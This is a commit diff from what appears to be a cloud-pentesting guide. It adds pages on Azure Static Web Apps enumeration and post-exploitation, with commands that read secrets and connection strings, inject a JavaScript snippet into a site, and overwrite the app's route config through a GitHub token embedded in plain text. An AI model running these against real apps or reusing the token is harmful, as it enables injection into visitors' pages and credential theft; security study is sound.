-
Notifications
You must be signed in to change notification settings - Fork 267
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
7e3eb02
commit d0a0f34
Showing
20 changed files
with
166 additions
and
36 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
71 changes: 71 additions & 0 deletions
71
...oud/azure-security/az-post-exploitation/az-static-web-apps-post-exploitation.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,71 @@ | ||
# Az - Static Web Apps Post Exploitation | ||
|
||
{{#include ../../../banners/hacktricks-training.md}} | ||
|
||
## Azure Static Web Apps | ||
|
||
For more information about this service check: | ||
|
||
{{#ref}} | ||
../az-services/az-static-web-apps.md | ||
{{#endref}} | ||
|
||
### Microsoft.Web/staticSites/snippets/write | ||
|
||
It's possible to make a static web page load arbitary HTML code by creating a snippet. This could allow an attacker to inject JS code inside the web app and steal sensitive information such as credentials or mnemonic keys (in web3 wallets). | ||
|
||
The fllowing command create an snippet that will always be loaded by the web app:: | ||
|
||
```bash | ||
az rest \ | ||
--method PUT \ | ||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/snippets/<snippet-name>?api-version=2022-03-01" \ | ||
--headers "Content-Type=application/json" \ | ||
--body '{ | ||
"properties": { | ||
"name": "supersnippet", | ||
"location": "Body", | ||
"applicableEnvironmentsMode": "AllEnvironments", | ||
"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K", | ||
"environments": [], | ||
"insertBottom": false | ||
} | ||
}' | ||
``` | ||
|
||
### Overwrite file - Overwrite routes, HTML, JS... | ||
|
||
It's possible to **overwritte a fie inside the Github repo** containing the app through Azure having the **Github token** sending a request such as the following which will indicate the path of the file to overwrite, the content of the file and the commit message. | ||
|
||
This can be abused by attackers to basically **change the content of the web app** to serve malicious content (steal credentials, mnemonic keys...) or just to **re-route certain paths** to their own servers by oevrwritting the `staticwebapp.config.json` file. | ||
|
||
> [!WARNING] | ||
> Note that if an attacker manages to compromise the Github repo in any way, they can also overwrite the file directly from Github. | ||
```bash | ||
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \ | ||
-H "Content-Type: application/json" \ | ||
-d '{ | ||
"commit": { | ||
"message": "Update static web app route configuration", | ||
"branchName": "main", | ||
"committer": { | ||
"name": "Azure App Service", | ||
"email": "donotreply@microsoft.com" | ||
}, | ||
"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==", | ||
"filePath": "staticwebapp.config.json", | ||
"message": "Update static web app route configuration", | ||
"repoName": "carlospolop/my-first-static-web-app", | ||
"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4" | ||
}, | ||
"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL" | ||
}' | ||
``` | ||
|
||
|
||
|
||
{{#include ../../../banners/hacktricks-training.md}} | ||
|
||
|
||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
59 changes: 59 additions & 0 deletions
59
src/pentesting-cloud/azure-security/az-services/az-static-web-apps.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,59 @@ | ||
|
||
# Az - Static Web Apps | ||
|
||
{{#include ../../../banners/hacktricks-training.md}} | ||
|
||
## Static Web Apps Basic Information | ||
|
||
|
||
- **Routes**: It's possible to change the routes of a static webapp by modifying the `staticwebapp.config.json` file. This file is located in the root of the repository and **contains the routes that the app will use**. | ||
|
||
## Enumeration | ||
|
||
```bash | ||
# List Static Webapps | ||
az staticwebapp list --output table | ||
|
||
# Get Static Webapp details | ||
az staticwebapp show --name <name> --resource-group <res-group> --output table | ||
|
||
# Get appsettings | ||
az staticwebapp appsettings list --name <name> | ||
|
||
# Get env information | ||
az staticwebapp environment list --name <name> | ||
az staticwebapp environment functions --name <name> | ||
|
||
# Get API key | ||
az staticwebapp secrets list --name <name> | ||
|
||
# Get invited users | ||
az staticwebapp users list --name <name> | ||
|
||
# Get database connections | ||
az rest --method GET \ | ||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/databaseConnections?api-version=2021-03-01" | ||
|
||
## Once you have the database connection name ("default" by default) you can get the connection string with the credentials | ||
az rest --method POST \ | ||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/databaseConnections/default/show?api-version=2021-03-01" | ||
``` | ||
|
||
## Examples to generate Web Apps | ||
|
||
|
||
## Post Exploitation | ||
|
||
{{#ref}} | ||
../az-privilege-escalation/az-static-web-apps-post-exploitation.md | ||
{{#endref}} | ||
|
||
## References | ||
|
||
- [https://learn.microsoft.com/en-in/azure/app-service/overview](https://learn.microsoft.com/en-in/azure/app-service/overview) | ||
- [https://learn.microsoft.com/en-us/azure/app-service/overview-hosting-plans](https://learn.microsoft.com/en-us/azure/app-service/overview-hosting-plans) | ||
|
||
{{#include ../../../banners/hacktricks-training.md}} | ||
|
||
|
||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Oops, something went wrong.